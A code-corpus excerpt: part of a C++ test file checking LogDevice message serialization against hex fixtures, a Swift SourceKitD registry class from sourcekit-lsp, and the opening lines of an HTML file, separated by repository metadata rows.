expected_fn,
deserializer);
}
{
h.flags |= APPEND_Header::WRITE_STREAM_REQUEST;
write_stream_request_id_t stream_req_id = {
write_stream_id_t(1UL), write_stream_seq_num_t(1UL)};
APPEND_Message m(h,
LSN_INVALID,
attrs,
PayloadHolder(strdup("hello"), 5),
"TRACING_INFORMATION",
stream_req_id);
auto check = [&](const APPEND_Message& m2, uint16_t proto) {
checkAPPEND(m, m2, proto);
};
DO_TEST(m,
check,
Compatibility::MIN_PROTOCOL_SUPPORTED,
Compatibility::MAX_PROTOCOL_SUPPORTED,
expected_fn,
deserializer);
}
{
h.flags |= APPEND_Header::WRITE_STREAM_REQUEST;
h.flags |= APPEND_Header::WRITE_STREAM_RESUME;
write_stream_request_id_t stream_req_id = {
write_stream_id_t(1UL), write_stream_seq_num_t(1UL)};
APPEND_Message m(h,
LSN_INVALID,
attrs,
PayloadHolder(strdup("hello"), 5),
"TRACING_INFORMATION",
stream_req_id);
auto check = [&](const APPEND_Message& m2, uint16_t proto) {
checkAPPEND(m, m2, proto);
};
DO_TEST(m,
check,
Compatibility::MIN_PROTOCOL_SUPPORTED,
Compatibility::MAX_PROTOCOL_SUPPORTED,
expected_fn,
deserializer);
}
}
TEST_F(MessageSerializationTest, RECORD) {
RECORD_Header h = {
logid_t(0xb1ae6d3809c1cdad),
read_stream_id_t(0xf8822b40e1a45f42),
0xe7933997c8a866b0,
0xda6c898046f65fe7,
RECORD_Header::CHECKSUM_PARITY | RECORD_Header::INCLUDES_EXTRA_METADATA |
RECORD_Header::INCLUDE_OFFSET_WITHIN_EPOCH |
RECORD_Header::INCLUDE_BYTE_OFFSET,
};
OffsetMap offsets_within_epoch;
offsets_within_epoch.setCounter(BYTE_OFFSET, 4);
ExtraMetadata reb = {{
esn_t(0x0b7430da),
0xdb270ae5,
2,
},
{ShardID(0x1d53, 0), ShardID(0x0287, 0)},
std::move(offsets_within_epoch)};
std::string payload = "preved";
OffsetMap byte_offsets;
byte_offsets.setCounter(BYTE_OFFSET, 10);
RECORD_Message m(h,
TrafficClass::REBUILD,
Payload(payload.data(), payload.size()).dup(),
std::make_unique<ExtraMetadata>(reb),
RECORD_Message::Source::LOCAL_LOG_STORE,
std::move(byte_offsets));
auto check = [&](const RECORD_Message& m2, uint16_t proto) {
checkRECORD(m, m2, proto);
};
auto deserializer = [](ProtocolReader& reader) {
return RECORD_Message::deserialize(reader);
};
auto expected_fn = [](uint16_t /*proto*/) {
return "ADCDC109386DAEB1425FA4E1402B82F8B066A8C8973993E7E75FF64680896CDA1"
"10300000000DA30740BE50A27DB02531D00008702000001F60400000000000000"
"01F60A00000000000000707265766564";
};
DO_TEST(m,
check,
Compatibility::MIN_PROTOCOL_SUPPORTED,
Compatibility::MAX_PROTOCOL_SUPPORTED,
expected_fn,
deserializer);
}
namespace {
TailRecord genTailRecord(bool include_payload) {
TailRecordHeader::flags_t flags =
(include_payload ? TailRecordHeader::HAS_PAYLOAD : 0);
flags |= TailRecordHeader::OFFSET_WITHIN_EPOCH;
void* payload_flat = malloc(20);
memset(payload_flat, 0, 20);
std::strncpy((char*)payload_flat, "Tail Record Test.", 20);
return TailRecord(
TailRecordHeader{
logid_t(0xBBC18E8AA44783D3),
compose_lsn(epoch_t(933), esn_t(3347)),
1502502135,
{BYTE_OFFSET_INVALID /* deprecated use OffsetMap instead */},
flags,
{}},
OffsetMap({{BYTE_OFFSET, 2349045994592}}),
include_payload ? std::make_shared<PayloadHolder>(payload_flat, 20)
: nullptr);
}
} // namespace
TEST_F(MessageSerializationTest, SEALED) {
SEALED_Header h = {
logid_t(0xBBC18E8AA44783D3),
epoch_t(2823409157),
E::OK,
lsn_t(0x34DDEBFA27),
3, // lng_list_size
7, // shard
2, // num_tail_records
lsn_t(0x34DDEBFABEEF) // trim_point
};
std::vector<TailRecord> tails({genTailRecord(false), genTailRecord(true)});
OffsetMap o1;
o1.setCounter(BYTE_OFFSET, 9);
OffsetMap o2;
o2.setCounter(BYTE_OFFSET, 10);
OffsetMap o3;
o3.setCounter(BYTE_OFFSET, 11);
SEALED_Message m(h,
{3, 4, 5},
Seal(epoch_t(9), NodeID(2, 1)),
{6, 7, 8},
{o1, o2, o3},
{13, 14, 15},
tails);
auto check = [&](const SEALED_Message& m2, uint16_t proto) {
checkSEALED(m, m2, proto);
};
{
std::string expected =
"D38347A48A8EC1BB05CE49A8000027FAEBDD3400000003000000070002000000030000"
"000000000004000000000000000500000000000000090000000100020001F609000000"
"0000000001F60A0000000000000001F60B000000000000000600000000000000070000"
"000000000008000000000000000D000000000000000E000000000000000F0000000000"
"0000D38347A48A8EC1BB130D0000A5030000F75C8E590000000060540DEE2202000000"
"02000000000000D38347A48A8EC1BB130D0000A5030000F75C8E590000000060540DEE"
"22020000030200000000000018000000140000005461696C205265636F726420546573"
"742E000000";
// this test involves contructing an evbuffer based payload holder and has
// to be done on a worker thread
auto test = [&] {
DO_TEST(m,
check,
Compatibility::MIN_PROTOCOL_SUPPORTED,
Compatibility::TRIM_POINT_IN_SEALED - 1,
[&](uint16_t /*proto*/) { return expected; },
nullptr);
return 0;
};
auto processor = make_test_processor(create_default_settings<Settings>());
run_on_worker(processor.get(), /*worker_id=*/0, test);
}
{
std::string expected =
"D38347A48A8EC1BB05CE49A8000027FAEBDD3400000003000000070002000000EFBEFA"
"EBDD340000030000000000000004000000000000000500000000000000090000000100"
"020001F6090000000000000001F60A0000000000000001F60B00000000000000060000"
"0000000000070000000000000008000000000000000D000000000000000E0000000000"
"00000F00000000000000D38347A48A8EC1BB130D0000A5030000F75C8E590000000060"
"540DEE220200000002000000000000D38347A48A8EC1BB130D0000A5030000F75C8E59"
"0000000060540DEE22020000030200000000000018000000140000005461696C205265"
"636F726420546573742E000000";
// this test involves contructing an evbuffer based payload holder and has
// to be done on a worker thread
auto test = [&] {
DO_TEST(m,
check,
Compatibility::TRIM_POINT_IN_SEALED,
Compatibility::MAX_PROTOCOL_SUPPORTED,
[&](uint16_t /*proto*/) { return expected; },
nullptr);
return 0;
};
auto processor = make_test_processor(create_default_settings<Settings>());
run_on_worker(processor.get(), /*worker_id=*/0, test);
}
}
TEST_F(MessageSerializationTest, STARTED) {
STARTED_Header h = {logid_t(0xDCC49E8FF44783D3),
read_stream_id_t(0x8B49478D2C473B3A),
E::REBUILDING,
filter_version_t(0x8B49478D2C473B3A),
0x9B7D7B3FEC8486AA, // last released lsn
shard_index_t{0}};
STARTED_Message m(h, TrafficClass::READ_BACKLOG);
auto check = [&](const STARTED_Message& m2, uint16_t proto) {
checkSTARTED(m, m2, proto);
};
{
std::string expected = "D38347F48F9EC4DC3A3B472C8D47498B2D003A3B472C8D47498"
"BAA8684EC3F7B7D9B0000";
DO_TEST(m,
check,
Compatibility::MIN_PROTOCOL_SUPPORTED,
Compatibility::MAX_PROTOCOL_SUPPORTED,
[&](uint16_t /*proto*/) { return expected; },
nullptr);
}
}
/**
* This test validates that the serialization of the filtered_out list in
* START message works regardless of its size.
* It tries serializing START messages with
* - empty filtered out
* - filtered_out of size 3
* - filtered_out of size 128 (greater than COPYSET_SIZE_MAX but smaller
* than uint8_t::max())
* - filtered_out of size 500
* for protocol prior to SUPPORT_LARGE_FILTERED_OUT_LIST the size of the
* vector should be set in the num_filtered_out member of the header.
* for protocol > SUPPORT_LARGE_FILTERED_OUT_LIST, num_filtered_out should
* be set to 0, and the vector and its size should be encoded after the header.
* In the last case (size 500), the serialization should fail for protocols
* older than SUPPORT_LARGER_FILTERED_OUT_LIST, and succeeds for newer ones.
*/
TEST_F(MessageSerializationTest, START_num_filtered_out) {
START_Header h = {logid_t(0xDCC49E8FF44783D3),
read_stream_id_t(0x8B49478D2C473B3A),
lsn_t(5),
lsn_t(13),
lsn_t(8),
START_Header::SINGLE_COPY_DELIVERY,
0,
filter_version_t(0x8B49478D2C473B3A),
0,
0,
SCDCopysetReordering::NONE,
shard_index_t{0}};
small_shardset_t filtered_out;
auto check = [&](const START_Message& msg, uint16_t proto) {
ASSERT_EQ(msg.filtered_out_, filtered_out);
};
auto expect = [&](uint16_t proto) {
if (filtered_out.empty()) {
// expect num_filtered_out to be 0 and no element in filtered_out
return "D38347F48F9EC4DC3A3B472C8D47498B05000000000000000D0000000000000"
"0080000000000000080000000" // flags = SINGLE_COPY_DELIVERY
"00003A3B472C8D47498B00" // num_filtered_out = 0
"000000000000000000000000" // empty filtered_out
"0000000000000000000000000000000000"; // attrs_
} else if (filtered_out.size() == 3) {
// expect num_filtered_out to be 3 and 3 elements encoded in filtered_out
return "D38347F48F9EC4DC3A3B472C8D47498B05000000000000000D0000000000000"
"0080000000000000080000000" // flags = SINGLE_COPY_DELIVERY
"00003A3B472C8D47498B00" // num_filtered_out = 0
"000000000C00000000000000" // vector size = 3 * 4
"00000000" // N0:S0
"01000000" // N1:S0
"02000000" // N2:S0
"0000000000000000000000000000000000"; // attrs_
} else if (filtered_out.size() == COPYSET_SIZE_MAX + 1) {
// expect num_filtered_out to be 128 and as many elements encoded
return "D38347F48F9EC4DC3A3B472C8D47498B05000000000000000D0000000000000"
"0080000000000000080000000" // flags = SINGLE_COPY_DELIVERY
"00003A3B472C8D47498B00" // num_filtered_out = 0
"000000000002000000000000" // vector size = 128 * 4 = 512
"00000000" // N0:S0
"01000000" // ...
"020000000300000004000000050000000600000007000000080000000900000"
"00A0000000B0000000C0000000D0000000E0000000F00000010000000110000"
"001200000013000000140000001500000016000000170000001800000019000"
"0001A0000001B0000001C0000001D0000001E0000001F000000200000002100"
"000022000000230000002400000025000000260000002700000028000000290"
"000002A0000002B0000002C0000002D0000002E0000002F0000003000000031"
"000000320000003300000034000000350000003600000037000000380000003"
"90000003A0000003B0000003C0000003D0000003E0000003F00000040000000"
"410000004200000043000000440000004500000046000000470000004800000"
"0490000004A0000004B0000004C0000004D0000004E0000004F000000500000"
"005100000052000000530000005400000055000000560000005700000058000"
"000590000005A0000005B0000005C0000005D0000005E0000005F0000006000"
"000061000000620000006300000064000000650000006600000067000000680"
"00000690000006A0000006B0000006C0000006D0000006E0000006F00000070"
"000000710000007200000073000000740000007500000076000000770000007"
"8000000790000007A0000007B0000007C0000007D0000007E0000007F000000"
"0000000000000000000000000000000000"; // attrs_
} else if (filtered_out.size() == 500) {
// size is larger than what num_filtered_out can accommodate, so expect
// num_filtered_out to be 0, and the vector size to be encoded before the
// vector contents.
return "D38347F48F9EC4DC3A3B472C8D47498B05000000000000000D000000000000000"
"80000000000000080000000" // flags = SINGLE_COPY_DELIVERY
"00003A3B472C8D47498B00" // num_filtered_out = 0
"00000000D007000000000000" // actual num filtered out size = 0x07d0
// = 2000 = 500 * 4 = 500 *
// sizeof(ShardID)
"00000000" // N0:S0
"01000000" // ...
"02000000030000000400000005000000060000000700000008000000090000000"
"A0000000B0000000C0000000D0000000E0000000F000000100000001100000012"
"000000130000001400000015000000160000001700000018000000190000001A0"
"000001B0000001C0000001D0000001E0000001F00000020000000210000002200"
"0000230000002400000025000000260000002700000028000000290000002A000"
"0002B0000002C0000002D0000002E0000002F0000003000000031000000320000"
"00330000003400000035000000360000003700000038000000390000003A00000"
"03B0000003C0000003D0000003E0000003F000000400000004100000042000000"
"430000004400000045000000460000004700000048000000490000004A0000004"
"B0000004C0000004D0000004E0000004F00000050000000510000005200000053"
"0000005400000055000000560000005700000058000000590000005A0000005B0"
"000005C0000005D0000005E0000005F0000006000000061000000620000006300"
"00006400000065000000660000006700000068000000690000006A0000006B000"
"0006C0000006D0000006E0000006F000000700000007100000072000000730000"
"007400000075000000760000007700000078000000790000007A0000007B00000"
"07C0000007D0000007E0000007F00000080000000810000008200000083000000"
"8400000085000000860000008700000088000000890000008A0000008B0000008"
"C0000008D0000008E0000008F0000009000000091000000920000009300000094"
"00000095000000960000009700000098000000990000009A0000009B0000009C0"
"000009D0000009E0000009F000000A0000000A1000000A2000000A3000000A400"
"0000A5000000A6000000A7000000A8000000A9000000AA000000AB000000AC000"
"000AD000000AE000000AF000000B0000000B1000000B2000000B3000000B40000"
"00B5000000B6000000B7000000B8000000B9000000BA000000BB000000BC00000"
"0BD000000BE000000BF000000C0000000C1000000C2000000C3000000C4000000"
"C5000000C6000000C7000000C8000000C9000000CA000000CB000000CC000000C"
"D000000CE000000CF000000D0000000D1000000D2000000D3000000D4000000D5"
"000000D6000000D7000000D8000000D9000000DA000000DB000000DC000000DD0"
"00000DE000000DF000000E0000000E1000000E2000000E3000000E4000000E500"
"0000E6000000E7000000E8000000E9000000EA000000EB000000EC000000ED000"
"000EE000000EF000000F0000000F1000000F2000000F3000000F4000000F50000"
"00F6000000F7000000F8000000F9000000FA000000FB000000FC000000FD00000"
"0FE000000FF000000000100000101000002010000030100000401000005010000"
"060100000701000008010000090100000A0100000B0100000C0100000D0100000"
"E0100000F01000010010000110100001201000013010000140100001501000016"
"0100001701000018010000190100001A0100001B0100001C0100001D0100001E0"
"100001F0100002001000021010000220100002301000024010000250100002601"
"00002701000028010000290100002A0100002B0100002C0100002D0100002E010"
"0002F010000300100003101000032010000330100003401000035010000360100"
"003701000038010000390100003A0100003B0100003C0100003D0100003E01000"
"03F01000040010000410100004201000043010000440100004501000046010000"
"4701000048010000490100004A0100004B0100004C0100004D0100004E0100004"
"F0100005001000051010000520100005301000054010000550100005601000057"
"01000058010000590100005A0100005B0100005C0100005D0100005E0100005F0"
"10000600100006101000062010000630100006401000065010000660100006701"
"000068010000690100006A0100006B0100006C0100006D0100006E0100006F010"
"00070010000710100007201000073010000740100007501000076010000770100"
"0078010000790100007A0100007B0100007C0100007D0100007E0100007F01000"
"08001000081010000820100008301000084010000850100008601000087010000"
"88010000890100008A0100008B0100008C0100008D0100008E0100008F0100009"
"00100009101000092010000930100009401000095010000960100009701000098"
"010000990100009A0100009B0100009C0100009D0100009E0100009F010000A00"
"10000A1010000A2010000A3010000A4010000A5010000A6010000A7010000A801"
"0000A9010000AA010000AB010000AC010000AD010000AE010000AF010000B0010"
"000B1010000B2010000B3010000B4010000B5010000B6010000B7010000B80100"
"00B9010000BA010000BB010000BC010000BD010000BE010000BF010000C001000"
"0C1010000C2010000C3010000C4010000C5010000C6010000C7010000C8010000"
"C9010000CA010000CB010000CC010000CD010000CE010000CF010000D0010000D"
"1010000D2010000D3010000D4010000D5010000D6010000D7010000D8010000D9"
"010000DA010000DB010000DC010000DD010000DE010000DF010000E0010000E10"
"10000E2010000E3010000E4010000E5010000E6010000E7010000E8010000E901"
"0000EA010000EB010000EC010000ED010000EE010000EF010000F0010000F1010"
"000F2010000" // N498:S0
"F3010000" // N499:S0
"0000000000000000000000000000000000"; // attrs_
} else {
return "wrong";
}
};
{
START_Message m(h, filtered_out);
DO_TEST(m,
check,
Compatibility::MIN_PROTOCOL_SUPPORTED,
Compatibility::MAX_PROTOCOL_SUPPORTED,
expect,
nullptr);
}
{
filtered_out = {ShardID(0, 0), ShardID(1, 0), ShardID(2, 0)};
START_Message m(h, filtered_out);
DO_TEST(m,
check,
Compatibility::MIN_PROTOCOL_SUPPORTED,
Compatibility::MAX_PROTOCOL_SUPPORTED,
expect,
nullptr);
}
{
filtered_out.clear();
for (int i = 0; i < COPYSET_SIZE_MAX + 1; i++) {
filtered_out.push_back(ShardID(i, 0));
}
START_Message m(h, filtered_out);
DO_TEST(m,
check,
Compatibility::MIN_PROTOCOL_SUPPORTED,
Compatibility::MAX_PROTOCOL_SUPPORTED,
expect,
nullptr);
}
{
filtered_out.clear();
for (int i = 0; i < 500; i++) {
filtered_out.push_back(ShardID(i, 0));
}
START_Message m(h, filtered_out);
// Validates that it works with protocol versions newer than
// SUPPORT_LARGER_FILTERED_OUT_LIST
DO_TEST(m,
check,
Compatibility::MIN_PROTOCOL_SUPPORTED,
Compatibility::MAX_PROTOCOL_SUPPORTED,
expect,
nullptr);
}
}
TEST_F(MessageSerializationTest, CLEAN) {
CLEAN_Header h = {
logid_t(0xBBC18E8AA44783D3),
epoch_t(2823409157),
recovery_id_t(0x8B49478D2C473B3A),
0,
epoch_t(0x8F9EC4DC),
esn_t(0x84EC3F7),
esn_t(0xD2C473B3),
4, // num absent nodes
BYTE_OFFSET_INVALID, // unused, use epoch_end_offsets
BYTE_OFFSET_INVALID, // unused, use offsets_within_epoch
3 // shard
};
StorageSet absent_nodes{
ShardID(9, 0), ShardID(8, 0), ShardID(113, 0), ShardID(7, 0)};
OffsetMap epoch_end_offsets;
epoch_end_offsets.setCounter(BYTE_OFFSET, 0x9B7D7B3FEC8486AA);
TailRecord tail;
tail.header.log_id = logid_t(0xBBC18E8AA44783D3);
tail.offsets_map_ = epoch_end_offsets;
OffsetMap offsets_within_epoch;
offsets_within_epoch.setCounter(BYTE_OFFSET, 0xABB4842249C95413);
CLEAN_Message m(h, tail, offsets_within_epoch, absent_nodes);
auto check = [&](const CLEAN_Message& m2, uint16_t proto) {
checkCLEAN(m, m2, proto);
};
absent_nodes =
StorageSet{ShardID(9, 8), ShardID(8, 2), ShardID(113, 0), ShardID(7, 3)};
CLEAN_Message m2(h, tail, offsets_within_epoch, absent_nodes);
{
std::string expected =
"D38347A48A8EC1BB05CE49A83A3B472C8D47498B0100DCC49E8FF7C34E08B373C4D204"
"00AA8684EC3F7B7D9B1354C9492284B4AB030009000800080002007100000007000300"
"D38347A48A8EC1BB00000000000000000000000000000000AA8684EC3F7B7D9B000000"
"000000000001F61354C9492284B4AB";
DO_TEST(m2,
check,
Compatibility::MIN_PROTOCOL_SUPPORTED,
Compatibility::MAX_PROTOCOL_SUPPORTED,
[&](uint16_t /*proto*/) { return expected; },
nullptr);
}
}
namespace {
template <typename MSG, MessageType Type>
std::unique_ptr<MSG> deserialize(struct evbuffer* evbuf, size_t size) {
const auto proto = Compatibility::MAX_PROTOCOL_SUPPORTED;
ProtocolReader reader(Type, evbuf, size, proto);
std::unique_ptr<Message> msg = MSG::deserialize(reader).msg;
return checked_downcast<std::unique_ptr<MSG>>(std::move(msg));
}
} // namespace
// Composes a HELLOv2 message with extra bytes at the end and verifies that
// a) the message itself is correctly deserialized (extra bytes are ignored)
// b) the next message in the evbuffer can be successfully deserialized
TEST_F(MessageSerializationTest, DrainExtraBytes) {
struct evbuffer* evbuf = LD_EV(evbuffer_new)();
SCOPE_EXIT {
LD_EV(evbuffer_free)(evbuf);
};
const uint16_t proto = Compatibility::MAX_PROTOCOL_SUPPORTED;
const std::string extra = "foo";
HELLO_Message hello_msg{HELLO_Header{
Compatibility::MIN_PROTOCOL_SUPPORTED,
Compatibility::MAX_PROTOCOL_SUPPORTED,
HELLO_flags_t(0),
request_id_t(0),
}};
ProtocolWriter w1(hello_msg.type_, evbuf, proto);
hello_msg.serialize(w1);
size_t hello_size = w1.result();
ASSERT_LT(0, hello_size);
// write some extra bytes after the HELLO message
ASSERT_EQ(0, LD_EV(evbuffer_add)(evbuf, extra.data(), extra.size()));
hello_size += extra.size();
// Now write a FixedSizeMessage followed by a couple of trailing bytes (this
// simulates adding extra members to the message header).
DELETE_Message delete_msg{DELETE_Header{
RecordID(esn_t(1), epoch_t(1), logid_t(1)), 1, 0 /* shard */
}};
ProtocolWriter w2(delete_msg.type_, evbuf, proto);
delete_msg.serialize(w2);
size_t delete_size = w2.result();
ASSERT_LT(0, delete_size);
// Deserialize each message from the evbuffer and verify that they match.
auto hello_deserialized =
deserialize<HELLO_Message, MessageType::HELLO>(evbuf, hello_size);
ASSERT_EQ(0,
memcmp(&hello_msg.header_,
&hello_deserialized->header_,
sizeof(hello_msg.header_)));
auto delete_deserialized =
deserialize<DELETE_Message, MessageType::HELLO>(evbuf, delete_size);
ASSERT_EQ(0,
memcmp(&delete_msg.getHeader(),
&delete_deserialized->getHeader(),
sizeof(delete_msg.getHeader())));
}
TEST_F(MessageSerializationTest, MUTATED) {
MUTATED_Header h = {recovery_id_t(1),
RecordID(esn_t(2), epoch_t(3), logid_t(4)),
Status::DROPPED,
Seal(epoch_t(5), NodeID(node_index_t(6))),
shard_index_t(7),
8};
MUTATED_Message m(h);
auto check = [&](const MUTATED_Message& m2, uint16_t proto) {
auto& h2 = m2.header_;
EXPECT_EQ(1, h2.recovery_id.val());
EXPECT_EQ(2, h2.rid.esn.val());
EXPECT_EQ(3, h2.rid.epoch.val());
EXPECT_EQ(4, h2.rid.logid.val());
EXPECT_EQ(Status::DROPPED, h2.status);
EXPECT_EQ(5, h2.seal.epoch.val());
EXPECT_EQ(6, h2.seal.seq_node.index());
EXPECT_EQ(0, h2.seal.seq_node.generation());
EXPECT_EQ(7, h2.shard);
EXPECT_EQ(proto < Compatibility::WAVE_IN_MUTATED ? 0 : 8, h2.wave);
};
{
std::string expected_old = "01000000000000000200000003000000040000000000000"
"0330005000000000006000700";
std::string expected_new = "01000000000000000200000003000000040000000000000"
"033000500000000000600070008000000";
DO_TEST(m,
check,
Compatibility::MIN_PROTOCOL_SUPPORTED,
Compatibility::MAX_PROTOCOL_SUPPORTED,
[&](uint16_t proto) {
return (proto >= Compatibility::WAVE_IN_MUTATED) ? expected_new
: expected_old;
},
nullptr);
}
}
TEST_F(MessageSerializationTest, GET_SEQ_STATE) {
logid_t log_id(1337);
request_id_t req_id(7);
GET_SEQ_STATE_flags_t flags8 = GET_SEQ_STATE_Message::DONT_WAIT_FOR_RECOVERY;
epoch_t min_ep(17);
GET_SEQ_STATE_flags_t flags32 =
GET_SEQ_STATE_Message::INCLUDE_IS_LOG_EMPTY | flags8;
GetSeqStateRequest::Context ctx =
GetSeqStateRequest::Context::GET_TAIL_RECORD;
// With the old 8-bit flag:
GET_SEQ_STATE_Message gss8_no_min_ep(log_id, req_id, flags8, ctx);
GET_SEQ_STATE_Message gss8_min_epoch(
log_id, req_id, flags8 | GET_SEQ_STATE_Message::MIN_EPOCH, ctx, min_ep);
// With the newer 32-bit flag:
GET_SEQ_STATE_Message gss32_no_min_ep(log_id, req_id, flags32, ctx);
GET_SEQ_STATE_Message gss32_min_epoch(
log_id, req_id, flags32 | GET_SEQ_STATE_Message::MIN_EPOCH, ctx, min_ep);
auto check8_no_min_epoch = [&](const GET_SEQ_STATE_Message& m2,
uint16_t /*proto*/) {
EXPECT_EQ(1337, m2.log_id_.val());
EXPECT_EQ(7, m2.request_id_.val());
EXPECT_EQ(flags8, m2.flags_);
EXPECT_EQ(GetSeqStateRequest::Context::GET_TAIL_RECORD, m2.calling_ctx_);
EXPECT_FALSE(m2.min_epoch_.hasValue());
};
auto check8_with_min_epoch = [&](const GET_SEQ_STATE_Message& m2,
uint16_t /*proto*/) {
EXPECT_EQ(1337, m2.log_id_.val());
EXPECT_EQ(7, m2.request_id_.val());
EXPECT_EQ(flags8 | GET_SEQ_STATE_Message::MIN_EPOCH, m2.flags_);
EXPECT_EQ(GetSeqStateRequest::Context::GET_TAIL_RECORD, m2.calling_ctx_);
EXPECT_TRUE(m2.min_epoch_.hasValue());
if (m2.min_epoch_.hasValue()) {
EXPECT_EQ(min_ep, m2.min_epoch_.value());
}
};
auto check32_no_min_epoch = [&](const GET_SEQ_STATE_Message& m2,
uint16_t proto) {
EXPECT_EQ(1337, m2.log_id_.val());
EXPECT_EQ(7, m2.request_id_.val());
EXPECT_EQ(
m2.flags_,
proto < Compatibility::IS_LOG_EMPTY_IN_GSS_REPLY ? flags8 : flags32);
EXPECT_EQ(GetSeqStateRequest::Context::GET_TAIL_RECORD, m2.calling_ctx_);
EXPECT_FALSE(m2.min_epoch_.hasValue());
};
auto check32_with_min_epoch = [&](const GET_SEQ_STATE_Message& m2,
uint16_t proto) {
EXPECT_EQ(1337, m2.log_id_.val());
EXPECT_EQ(7, m2.request_id_.val());
EXPECT_EQ(m2.flags_,
proto < Compatibility::IS_LOG_EMPTY_IN_GSS_REPLY
? flags8 | GET_SEQ_STATE_Message::MIN_EPOCH
: flags32 | GET_SEQ_STATE_Message::MIN_EPOCH);
EXPECT_EQ(GetSeqStateRequest::Context::GET_TAIL_RECORD, m2.calling_ctx_);
EXPECT_TRUE(m2.min_epoch_.hasValue());
if (m2.min_epoch_.hasValue()) {
EXPECT_EQ(min_ep, m2.min_epoch_.value());
}
};
// 8-bit supporting message, not requiring 32-bit flag
// 390500000000000007000000000000000411 // full
// 390500000000000007000000000000000400000011 // full, 32-bit flag
// 39050000000000000700000000000000241111000000 // full 8 + min epoch
// 39050000000000000700000000000000240000001111000000 // full 32 + min epoch
// 32-bit required
// 390500000000000007000000000000000401000011 // full
// 39050000000000000700000000000000240100001111000000 // full with min epoch
{
// If it need not use a 32-bit flag, it shouldn't.
DO_TEST(gss8_no_min_ep,
check8_no_min_epoch,
Compatibility::MIN_PROTOCOL_SUPPORTED,
Compatibility::MAX_PROTOCOL_SUPPORTED,
[&](uint16_t proto) {
return proto < Compatibility::GSS_32BIT_FLAG
? "390500000000000007000000000000000411"
: "390500000000000007000000000000000400000011";
},
nullptr);
DO_TEST(gss8_min_epoch,
check8_with_min_epoch,
Compatibility::MIN_PROTOCOL_SUPPORTED,
Compatibility::MAX_PROTOCOL_SUPPORTED,
[&](uint16_t proto) {
return proto < Compatibility::GSS_32BIT_FLAG
? "39050000000000000700000000000000241111000000"
: "39050000000000000700000000000000240000001111000000";
},
nullptr);
// Using some flag that requires >8 bits, should use 32-bit flag field.
DO_TEST(gss32_no_min_ep,
check32_no_min_epoch,
Compatibility::GSS_32BIT_FLAG,
Compatibility::MAX_PROTOCOL_SUPPORTED,
[&](uint16_t proto) {
return "390500000000000007000000000000000401000011";
},
nullptr);
DO_TEST(gss32_min_epoch,
check32_with_min_epoch,
Compatibility::GSS_32BIT_FLAG,
Compatibility::MAX_PROTOCOL_SUPPORTED,
[&](uint16_t proto) {
return "39050000000000000700000000000000240100001111000000";
},
nullptr);
}
}
}} // namespace facebook::logdevice
| 39.879723 | 80 | 0.663566 |
691429909b7a805ce87ac116f44ea4c6168b9e44 | 3,223 | swift | Swift | Sources/SourceKitD/SourceKitDRegistry.swift | fwcd/sourcekit-lsp | 7c9ccf26d5f758a23679ca04a2ddf6238e94af3a | [
"Apache-2.0"
] | 2,558 | 2018-11-14T01:57:03.000Z | 2022-03-30T01:43:40.000Z | Sources/SourceKitD/SourceKitDRegistry.swift | fwcd/sourcekit-lsp | 7c9ccf26d5f758a23679ca04a2ddf6238e94af3a | [
"Apache-2.0"
] | 384 | 2018-11-14T15:50:25.000Z | 2022-03-24T02:59:41.000Z | Sources/SourceKitD/SourceKitDRegistry.swift | fwcd/sourcekit-lsp | 7c9ccf26d5f758a23679ca04a2ddf6238e94af3a | [
"Apache-2.0"
] | 237 | 2018-11-14T01:51:25.000Z | 2022-03-26T10:45:30.000Z | //===----------------------------------------------------------------------===//
//
// This source file is part of the Swift.org open source project
//
// Copyright (c) 2014 - 2020 Apple Inc. and the Swift project authors
// Licensed under Apache License v2.0 with Runtime Library Exception
//
// See https://swift.org/LICENSE.txt for license information
// See https://swift.org/CONTRIBUTORS.txt for the list of Swift project authors
//
//===----------------------------------------------------------------------===//
import TSCBasic
/// The set of known SourceKitD instances, uniqued by path.
///
/// It is not generally safe to have two instances of SourceKitD for the same libsourcekitd, so
/// care is taken to ensure that there is only ever one instance per path.
///
/// * To get a new instance, use `getOrAdd("path", create: { NewSourceKitD() })`.
/// * To remove an existing instance, use `remove("path")`, but be aware that if there are any other
/// references to the instances in the program, it can be resurrected if `getOrAdd` is called with
/// the same path. See note on `remove(_:)`
public final class SourceKitDRegistry {
/// Mutex protecting mutable state in the registry.
let lock: Lock = Lock()
/// Mapping from path to active SourceKitD instance.
var active: [AbsolutePath: SourceKitD] = [:]
/// Instances that have been unregistered, but may be resurrected if accessed before destruction.
var cemetary: [AbsolutePath: WeakSourceKitD] = [:]
/// Initialize an empty registry.
public init() {}
/// The global shared SourceKitD registry.
public static var shared: SourceKitDRegistry = SourceKitDRegistry()
/// Returns the existing SourceKitD for the given path, or creates it and registers it.
public func getOrAdd(
_ key: AbsolutePath,
create: () throws -> SourceKitD
) rethrows -> SourceKitD {
try lock.withLock {
if let existing = active[key] {
return existing
}
if let resurrected = cemetary[key]?.value {
cemetary[key] = nil
active[key] = resurrected
return resurrected
}
let newValue = try create()
active[key] = newValue
return newValue
}
}
/// Removes the SourceKitD instance registered for the given path, if any, from the set of active
/// instances.
///
/// Since it is not generally safe to have two sourcekitd connections at once, the existing value
/// is converted to a weak reference until it is no longer referenced anywhere by the program. If
/// the same path is looked up again before the original service is deinitialized, the original
/// service is resurrected rather than creating a new instance.
public func remove(_ key: AbsolutePath) -> SourceKitD? {
lock.withLock {
let existing = active.removeValue(forKey: key)
if let existing = existing {
assert(self.cemetary[key]?.value == nil)
cemetary[key] = WeakSourceKitD(value: existing)
}
return existing
}
}
/// Remove all SourceKitD instances, including weak ones.
public func clear() {
lock.withLock {
active.removeAll()
cemetary.removeAll()
}
}
}
struct WeakSourceKitD {
weak var value: SourceKitD?
}
| 35.417582 | 100 | 0.6556 |
05368d32d8fb0f3257330582ad1f72eb9aaac451 | 24,644 | html | HTML | interspire-email-marketer.html | ElToroBIZ/powermtapw.github.io | eb3e5fda2f681dfe898c7e8f6c1ca8f20a1fb426 | [
"CC0-1.0"
] | null | null | null | interspire-email-marketer.html | ElToroBIZ/powermtapw.github.io | eb3e5fda2f681dfe898c7e8f6c1ca8f20a1fb426 | [
"CC0-1.0"
] | null | null | null | interspire-email-marketer.html | ElToroBIZ/powermtapw.github.io | eb3e5fda2f681dfe898c7e8f6c1ca8f20a1fb426 | [
"CC0-1.0"
] | 1 | 2019-08-16T23:32:20.000Z | 2019-08-16T23:32:20.000Z | <!DOCTYPE html>
<!--[if lt IE 7 ]><html class="ie ie6" lang="en"> <![endif]-->
<!--[if IE 7 ]><html class="ie ie7" lang="en"> <![endif]-->
<!--[if IE 8 ]><html class="ie ie8" lang="en"> <![endif]-->
